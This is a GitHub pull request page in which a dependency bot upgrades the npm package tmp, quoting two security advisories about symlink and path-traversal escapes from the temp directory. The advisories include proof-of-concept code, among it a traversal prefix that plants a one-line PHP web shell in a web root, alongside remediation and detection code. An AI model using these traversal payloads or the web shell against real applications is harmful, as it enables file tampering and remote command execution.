Skip to content

chore(deps): update dependency tmp to v0.2.6 [security] - autoclosed - #332

Closed
renovate-bot wants to merge 1 commit into
google:mainfrom
renovate-bot:renovate/npm-tmp-vulnerability
Closed

chore(deps): update dependency tmp to v0.2.6 [security] - autoclosed#332
renovate-bot wants to merge 1 commit into
google:mainfrom
renovate-bot:renovate/npm-tmp-vulnerability

Conversation

@renovate-bot

@renovate-botrenovate-bot commented Jun 18, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

PackageChangeAgeConfidence
tmp0.2.10.2.6ageconfidence

tmp allows arbitrary temporary file / directory write via symbolic link dir parameter

CVE-2025-54798 / GHSA-52f5-9888-hmc6

More information

Details

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579function_resolvePath(name,tmpDir){if(name.startsWith(tmpDir)){returnpath.resolve(name);}else{returnpath.resolve(path.join(tmpDir,name));}}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609function_assertIsRelative(name,option,tmpDir){if(option==='name'){// assert that name is not absolute and does not contain a pathif(path.isAbsolute(name))thrownewError(`${option} option must not contain an absolute path, found "${name}".`);// must not fail on valid .<name> or ..<name> or similar such constructsletbasename=path.basename(name);if(basename==='..'||basename==='.'||basename!==name)thrownewError(`${option} option must not contain a path, found "${name}".`);}else{// if (option === 'dir' || option === 'template') {// assert that dir or template are relative to tmpDirif(path.isAbsolute(name)&&!name.startsWith(tmpDir)){thrownewError(`${option} option must be relative to "${tmpDir}", found "${name}".`);}letresolvedPath=_resolvePath(name,tmpDir);//<--- if(!resolvedPath.startsWith(tmpDir))thrownewError(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);}}
PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.

  • Setup: create a symbolic link inside the tmpDir that points to a directory outside of it
mkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
  • check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
  • run the poc
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
  • the temporary file is created under $HOME/mydir1 (outside the tmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
  • main.js
// npm i tmp@0.2.3consttmp=require('tmp');consttmpobj=tmp.fileSync({'dir': 'evil-dir'});console.log('File: ',tmpobj.name);try{tmp.fileSync({'dir': 'mydir1'});}catch(err){console.log('test 1:',err.message)}try{tmp.fileSync({'dir': '/foo'});}catch(err){console.log('test 2:',err.message)}try{constfs=require('node:fs');constresolved=fs.realpathSync('/tmp/evil-dir');tmp.fileSync({'dir': resolved});}catch(err){console.log('test 3:',err.message)}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function_resolvePath(name,tmpDir){letresolvedPath;if(name.startsWith(tmpDir)){resolvedPath=path.resolve(name);}else{resolvedPath=path.resolve(path.join(tmpDir,name));}returnfs.realpathSync(resolvedPath);}
Impact

Arbitrary temporary file / directory write via symlink

Severity

  • CVSS Score: 2.5 / 10 (Low)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape

CVE-2026-44705 / GHSA-ph9p-34f9-6g65

More information

Details

Summary

The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.

Details

Root Cause:
The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.

Technical Flow:

  1. Filename Construction: tmp builds filenames as <prefix>-<pid>-<random>-<postfix>
  2. Path Composition: Final path computed as path.join(tmpDir, opts.dir, name)
  3. Path Normalization: Node.js path.join() normalizes traversal sequences, allowing escape
  4. File Creation: File created at the resulting (potentially escaped) path

Vulnerable Pattern:

// In tmp package internalsconstname=`${opts.prefix||''}-${process.pid}-${randomString}-${opts.postfix||''}`;constfinalPath=path.join(tmpDir,opts.dir||'',name);// No validation that finalPath remains within tmpDir

Path Traversal Mechanics:

  • prefix/postfix traversal:../../../evil in prefix escapes directory structure
  • Absolute path bypass: If opts.dir is absolute, path.join() ignores tmpDir completely
  • Normalization exploitation:path.join() resolves ../ sequences regardless of surrounding text
  • Cross-platform impact: Works on Windows (..\\), Unix (../), and mixed path systems

Key Vulnerability Points:

  • No input validation on prefix, postfix, or dir parameters
  • Direct use of user input in path construction
  • Reliance on path.join() normalization without containment checks
  • Missing post-construction validation that final path remains within intended directory
PoC

Basic Path Traversal via prefix:

consttmp=require('tmp');constpath=require('path');constfs=require('fs');// Create a controlled base directoryconstbaseDir=fs.mkdtempSync('/tmp/safe-base-');console.log('Base directory:',baseDir);// Escape via prefixtmp.file({tmpdir: baseDir,prefix: '../escaped'},(err,filepath,fd,cleanup)=>{if(err)throwerr;console.log('Created file:',filepath);console.log('Relative to base:',path.relative(baseDir,filepath));// Output shows: ../escaped-<pid>-<random>cleanup();});

Directory Escape via postfix:

tmp.file({tmpdir: baseDir,postfix: '/../../pwned.txt'},(err,filepath,fd,cleanup)=>{if(err)throwerr;console.log('Escaped file:',filepath);console.log('Escaped outside base:',!filepath.startsWith(baseDir));cleanup();});

Absolute Path Bypass via dir:

tmp.file({tmpdir: '/safe/tmp/dir',dir: '/tmp/evil-location',prefix: 'bypassed'},(err,filepath,fd,cleanup)=>{if(err)throwerr;console.log('Bypassed to:',filepath);// File created in /tmp/evil-location instead of /safe/tmp/dircleanup();});

Advanced Multi-Vector Attack:

constmaliciousOpts={tmpdir: '/app/safe-tmp',dir: '../../../tmp',// Escape baseprefix: '../sensitive-area/',// Further traversalpostfix: 'malicious.config'// Controlled filename};tmp.file(maliciousOpts,(err,filepath,fd,cleanup)=>{// Results in file creation at: /tmp/sensitive-area/malicious.configconsole.log('Final malicious path:',filepath);cleanup();});

Real-World Attack Simulation:

// Simulate web API that accepts user file prefixfunctioncreateUserTempFile(userPrefix,content){returnnewPromise((resolve,reject)=>{tmp.file({prefix: userPrefix},(err,path,fd,cleanup)=>{if(err)returnreject(err);fs.writeSync(fd,content);console.log('User file created at:',path);resolve({ path, cleanup });});});}// Attacker inputconstattackerPrefix='../../../var/www/html/backdoor';createUserTempFile(attackerPrefix,'<?php system($_GET["cmd"]); ?>');// Creates PHP backdoor in web root instead of temp directory
Impact

Arbitrary File Creation:

  • Files created outside intended temporary directories
  • Attacker control over file placement location
  • Potential to overwrite existing files (depending on creation flags)
  • Cross-platform exploitation capability

Attack Scenarios:

1. Web Application Configuration Poisoning:

  • User uploads file with malicious prefix/postfix
  • tmp creates "temporary" file in application configuration directory
  • Malicious configuration loaded on next application restart

2. Cache Poisoning:

  • Application caches user content using tmp
  • Attacker escapes to cache directory of different user/tenant
  • Poisoned cache serves malicious content to other users

3. Build Pipeline Compromise:

  • CI/CD system processes user PRs with tmp usage
  • Malicious prefix escapes to build output directories
  • Compromised build artifacts deployed to production

4. Container Escape Attempt:

  • Containerized application uses tmp with user input
  • Attacker attempts to escape container temp restrictions
  • Files created in host-mapped volumes or sensitive container areas

5. Multi-Tenant Service Bypass:

  • SaaS platform isolates tenants using separate tmp directories
  • Tenant A escapes their tmp space to tenant B's area
  • Cross-tenant data access and potential privilege escalation

Business Impact:

  • Data Integrity: Unauthorized file placement can corrupt application state
  • Service Disruption: Files in wrong locations may break application functionality
  • Security Bypass: Escape temporary isolation boundaries
  • Compliance Violations: Files containing sensitive data placed in uncontrolled locations
Affected Products
  • Ecosystem: npm
  • Package name: tmp
  • Repository: github.com/raszi/node-tmp
  • Affected versions: All versions with vulnerable path construction logic
  • Patched versions: None currently available

Component Impact:

  • tmp.file() function - vulnerable to prefix/postfix/dir traversal
  • tmp.dir() function - vulnerable to same parameter manipulation
  • tmp.tmpName() function - if using affected path construction

Severity: High
CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)

CWE Classification:

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Remediation

Input Validation and Sanitization:

  1. Sanitize prefix/postfix:
functionsanitizePrefix(prefix){if(!prefix)return'';// Remove path separators and traversal sequencesreturnpath.basename(String(prefix)).replace(/[\.\/\\]/g,'-');}functionsanitizePostfix(postfix){if(!postfix)return'';// Allow only safe charactersreturnString(postfix).replace(/[^A-Za-z0-9._-]/g,'');}
  1. Validate dir parameter:
functionvalidateDir(dir,baseDir){if(!dir)return'';// Reject absolute pathsif(path.isAbsolute(dir)){thrownewError('Absolute paths not allowed for dir option');}// Resolve and check containmentconstresolved=path.resolve(baseDir,dir);constrelative=path.relative(baseDir,resolved);if(relative.startsWith('..')||path.isAbsolute(relative)){thrownewError('Dir option escapes base directory');}returndir;}
  1. Post-construction path validation:
functionvalidateFinalPath(finalPath,baseDir){constresolved=path.resolve(finalPath);constrelative=path.relative(path.resolve(baseDir),resolved);if(relative.startsWith('..')||path.isAbsolute(relative)){thrownewError('Generated path escapes temporary directory');}returnresolved;}

Secure Implementation Pattern:

functioncreateTempFile(options){constopts={ ...options};// Sanitize inputsopts.prefix=sanitizePrefix(opts.prefix);opts.postfix=sanitizePostfix(opts.postfix);opts.dir=validateDir(opts.dir,opts.tmpdir);// Create with sanitized optionsreturntmp.file(opts,(err,path,fd,cleanup)=>{if(err)returncallback(err);// Validate final pathtry{validateFinalPath(path,opts.tmpdir);}catch(validationErr){cleanup();returncallback(validationErr);}callback(null,path,fd,cleanup);});}
Workarounds

For Application Developers:

  1. Input Sanitization:
// Sanitize before passing to tmpfunctionsafeTmpFile(userOptions){constsafeOpts={
...userOptions,prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g,'') : undefined,dir: undefined// Don't allow user-controlled dir};returntmp.file(safeOpts);}
  1. Path Validation:
functionvalidateTmpPath(tmpPath,expectedBase){constrelativePath=path.relative(expectedBase,tmpPath);if(relativePath.startsWith('..')||path.isAbsolute(relativePath)){thrownewError('Temporary file path escaped base directory');}returntmpPath;}
  1. Restricted Usage:
// Only use tmp with known-safe, literal valuestmp.file({prefix: 'app-temp-',postfix: '.tmp'},callback);// Never: tmp.file({ prefix: userInput }, callback);

For Security Teams:

  1. Code Review Patterns:
##### Search for dangerous tmp usage
grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req".
grep -r "tmp\.dir.*opts\|tmp\.file.*opts".
  1. Runtime Monitoring:
// Monitor for files created outside expected temp areasconstoriginalFile=tmp.file;tmp.file=function(options,callback){returnoriginalFile(options,(err,path,fd,cleanup)=>{if(!err&&options.tmpdir){constrelative=require('path').relative(options.tmpdir,path);if(relative.startsWith('..')){console.warn('Path traversal detected:',path);}}returncallback(err,path,fd,cleanup);});};
Detection and Monitoring

Static Analysis:

  • Scan for tmp usage with user-controlled input
  • Identify unsanitized parameter passing to tmp functions
  • Review file creation patterns in temporary directories

Runtime Detection:

// Log suspicious tmp operationsfunctionmonitorTmpUsage(){constoriginalTmpFile=require('tmp').file;require('tmp').file=function(options={},callback){// Check for suspicious patternsconstsuspicious=[options.prefix&&options.prefix.includes('..'),options.postfix&&options.postfix.includes('..'),options.dir&&path.isAbsolute(options.dir)].some(Boolean);if(suspicious){console.warn('Suspicious tmp usage detected:',options);}returnoriginalTmpFile.call(this,options,callback);};}

File System Monitoring:

##### Monitor file creation outside expected temp directories
inotifywait -m -r --format '%w%f %e' /tmp /var/tmp |whileread file event;doif [[ "$event"==*"CREATE"*&&"$file"!= /tmp/tmp-* ]];thenecho"Unexpected file creation: $file"fidone
Acknowledgements

Reported by: Mapta / BugBunny_ai

Severity

  • CVSS Score: 7.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

raszi/node-tmp (tmp)

v0.2.6

Compare Source

v0.2.5

Compare Source

v0.2.4

Compare Source

v0.2.3

Compare Source

v0.2.2

Compare Source

🐛 Bug Fix
📝 Documentation
Committers: 5

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

aabmass added a commit to aabmass/pprof-nodejs that referenced this pull request Jun 26, 2026
Squashed Renovate PRs:
- google#332 (tmp to v0.2.6)
- google#330 (protobufjs-cli to v1.3.2)
- google#328 (protobufjs to ~7.6.0)
- google#325/google#317 (debian docker tag to 12)
- google#323 (@mapbox/node-pre-gyp to v2)
- google#322 (@types/sinon to v21)
- google#319 (mocha to v11)
- google#318 (linkinator to v7)
- google#316 (golang docker tag to 1.24)
- google#289 (@types/pretty-ms to v5)
Excluded:
- google#326 (p-limit to v7) because versions >= 4.0.0 are ESM-only.
TAG=agy
CONV=4ca117e0-d8fa-4e4c-8cfa-b52e896710d3
aabmass added a commit to aabmass/pprof-nodejs that referenced this pull request Jun 26, 2026
Squashed Renovate PRs:
- google#332 (tmp to v0.2.6)
- google#330 (protobufjs-cli to v1.3.2)
- google#328 (protobufjs to ~7.6.0)
- google#325/google#317 (debian docker tag to 12)
- google#323 (@mapbox/node-pre-gyp to v2)
- google#322 (@types/sinon to v21)
- google#319 (mocha to v11)
- google#318 (linkinator to v7)
- google#316 (golang docker tag to 1.24)
- google#289 (@types/pretty-ms to v5)
Excluded:
- google#326 (p-limit to v7) because versions >= 4.0.0 are ESM-only.
TAG=agy
CONV=4ca117e0-d8fa-4e4c-8cfa-b52e896710d3
aabmass added a commit to aabmass/pprof-nodejs that referenced this pull request Jun 26, 2026
Squashed Renovate PRs:
- google#332 (tmp to v0.2.6)
- google#330 (protobufjs-cli to v1.3.2)
- google#328 (protobufjs to ~7.6.0)
- google#325/google#317 (debian docker tag to 12)
- google#323 (@mapbox/node-pre-gyp to v2)
- google#322 (@types/sinon to v21)
- google#319 (mocha to v11)
- google#318 (linkinator to v7)
- google#316 (golang docker tag to 1.24)
- google#289 (@types/pretty-ms to v5)
Excluded:
- google#326 (p-limit to v7) because versions >= 4.0.0 are ESM-only.
TAG=agy
CONV=4ca117e0-d8fa-4e4c-8cfa-b52e896710d3
aabmass added a commit to aabmass/pprof-nodejs that referenced this pull request Jun 30, 2026
Squashed Renovate PRs:
- google#332 (tmp to v0.2.6)
- google#330 (protobufjs-cli to v1.3.2)
- google#328 (protobufjs to ~7.6.0)
- google#325/google#317 (debian docker tag to 12)
- google#323 (@mapbox/node-pre-gyp to v2)
- google#322 (@types/sinon to v21)
- google#319 (mocha to v11)
- google#318 (linkinator to v7)
- google#316 (golang docker tag to 1.24)
- google#289 (@types/pretty-ms to v5)
Excluded:
- google#326 (p-limit to v7) because versions >= 4.0.0 are ESM-only.
TAG=agy
CONV=4ca117e0-d8fa-4e4c-8cfa-b52e896710d3
aabmass added a commit to aabmass/pprof-nodejs that referenced this pull request Jun 30, 2026
Squashed Renovate PRs:
- google#332 (tmp to v0.2.6)
- google#330 (protobufjs-cli to v1.3.2)
- google#328 (protobufjs to ~7.6.0)
- google#325/google#317 (debian docker tag to 12)
- google#323 (@mapbox/node-pre-gyp to v2)
- google#322 (@types/sinon to v21)
- google#319 (mocha to v11)
- google#318 (linkinator to v7)
- google#316 (golang docker tag to 1.24)
- google#289 (@types/pretty-ms to v5)
Excluded:
- google#326 (p-limit to v7) because versions >= 4.0.0 are ESM-only.
TAG=agy
CONV=4ca117e0-d8fa-4e4c-8cfa-b52e896710d3
aabmass added a commit to aabmass/pprof-nodejs that referenced this pull request Jun 30, 2026
Squashed Renovate PRs:
- google#332 (tmp to v0.2.6)
- google#330 (protobufjs-cli to v1.3.2)
- google#328 (protobufjs to ~7.6.0)
- google#325/google#317 (debian docker tag to 12)
- google#323 (@mapbox/node-pre-gyp to v2)
- google#322 (@types/sinon to v21)
- google#319 (mocha to v11)
- google#318 (linkinator to v7)
- google#316 (golang docker tag to 1.24)
- google#289 (@types/pretty-ms to v5)
Excluded:
- google#326 (p-limit to v7) because versions >= 4.0.0 are ESM-only.
TAG=agy
CONV=4ca117e0-d8fa-4e4c-8cfa-b52e896710d3
aabmass added a commit to aabmass/pprof-nodejs that referenced this pull request Jun 30, 2026
Squashed Renovate PRs:
- google#332 (tmp to v0.2.6)
- google#330 (protobufjs-cli to v1.3.2)
- google#328 (protobufjs to ~7.6.0)
- google#325/google#317 (debian docker tag to 12)
- google#323 (@mapbox/node-pre-gyp to v2)
- google#322 (@types/sinon to v21)
- google#319 (mocha to v11)
- google#318 (linkinator to v7)
- google#316 (golang docker tag to 1.24)
- google#289 (@types/pretty-ms to v5)
Excluded:
- google#326 (p-limit to v7) because versions >= 4.0.0 are ESM-only.
TAG=agy
CONV=4ca117e0-d8fa-4e4c-8cfa-b52e896710d3
aabmass added a commit to aabmass/pprof-nodejs that referenced this pull request Jun 30, 2026
PR google#333 claimed to squash and merge several devDependency upgrades from Renovate, but only updated package-lock.json without modifying package.json. This commit updates package.json to match those intended versions:
- @types/pretty-ms to ^5.0.0 (google#289)
- @types/sinon to ^21.0.0 (google#322)
- linkinator to ^7.0.0 (google#318)
- mocha to ^11.0.0 (google#319)
- protobufjs-cli to 1.3.2 (google#330)
- tmp to 0.2.6 (google#332)
- Bump protobufjs from ~7.4.0 to ~7.6.4 to address critical prototype pollution and DoS advisories
- Regenerate proto/profile.js and proto/profile.d.ts with updated pbjs/pbts compiler
aabmass added a commit to aabmass/pprof-nodejs that referenced this pull request Jun 30, 2026
Squashed Renovate PRs:
- google#332 (tmp to v0.2.6)
- google#330 (protobufjs-cli to v1.3.2)
- google#328 (protobufjs to ~7.6.0)
- google#325/google#317 (debian docker tag to 12)
- google#323 (@mapbox/node-pre-gyp to v2)
- google#322 (@types/sinon to v21)
- google#319 (mocha to v11)
- google#318 (linkinator to v7)
- google#316 (golang docker tag to 1.24)
- google#289 (@types/pretty-ms to v5)
Excluded:
- google#326 (p-limit to v7) because versions >= 4.0.0 are ESM-only.
TAG=agy
CONV=4ca117e0-d8fa-4e4c-8cfa-b52e896710d3
aabmass added a commit to aabmass/pprof-nodejs that referenced this pull request Jun 30, 2026
PR google#333 claimed to squash and merge several devDependency upgrades from Renovate, but only updated package-lock.json without modifying package.json. This commit updates package.json to match those intended versions:
- @types/pretty-ms to ^5.0.0 (google#289)
- @types/sinon to ^21.0.0 (google#322)
- linkinator to ^7.0.0 (google#318)
- mocha to ^11.0.0 (google#319)
- protobufjs-cli to 1.3.2 (google#330)
- tmp to 0.2.6 (google#332)
- Bump protobufjs from ~7.4.0 to ~7.6.4 to address critical prototype pollution and DoS advisories
- Regenerate proto/profile.js and proto/profile.d.ts with updated pbjs/pbts compiler
aabmass added a commit that referenced this pull request Jun 30, 2026
* chore!: drop support for Node.js 14 and 16
BREAKING CHANGE: Node.js 14 and 16 are no longer supported.
* chore(deps): squash dependency updates
Squashed Renovate PRs:
- #332 (tmp to v0.2.6)
- #330 (protobufjs-cli to v1.3.2)
- #328 (protobufjs to ~7.6.0)
- #325/#317 (debian docker tag to 12)
- #323 (@mapbox/node-pre-gyp to v2)
- #322 (@types/sinon to v21)
- #319 (mocha to v11)
- #318 (linkinator to v7)
- #316 (golang docker tag to 1.24)
- #289 (@types/pretty-ms to v5)
Excluded:
- #326 (p-limit to v7) because versions >= 4.0.0 are ESM-only.
TAG=agy
CONV=4ca117e0-d8fa-4e4c-8cfa-b52e896710d3
* build(deps-dev): apply missing Renovate upgrades in package.json
PR #333 claimed to squash and merge several devDependency upgrades from Renovate, but only updated package-lock.json without modifying package.json. This commit updates package.json to match those intended versions:
- @types/pretty-ms to ^5.0.0 (#289)
- @types/sinon to ^21.0.0 (#322)
- linkinator to ^7.0.0 (#318)
- mocha to ^11.0.0 (#319)
- protobufjs-cli to 1.3.2 (#330)
- tmp to 0.2.6 (#332)
- Bump protobufjs from ~7.4.0 to ~7.6.4 to address critical prototype pollution and DoS advisories
- Regenerate proto/profile.js and proto/profile.d.ts with updated pbjs/pbts compiler
@renovate-botrenovate-bot changed the title chore(deps): update dependency tmp to v0.2.6 [security]chore(deps): update dependency tmp to v0.2.6 [security] - autoclosedJun 30, 2026
@renovate-bot
renovate-bot deleted the renovate/npm-tmp-vulnerability branch June 30, 2026 20:57
Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant

@renovate-bot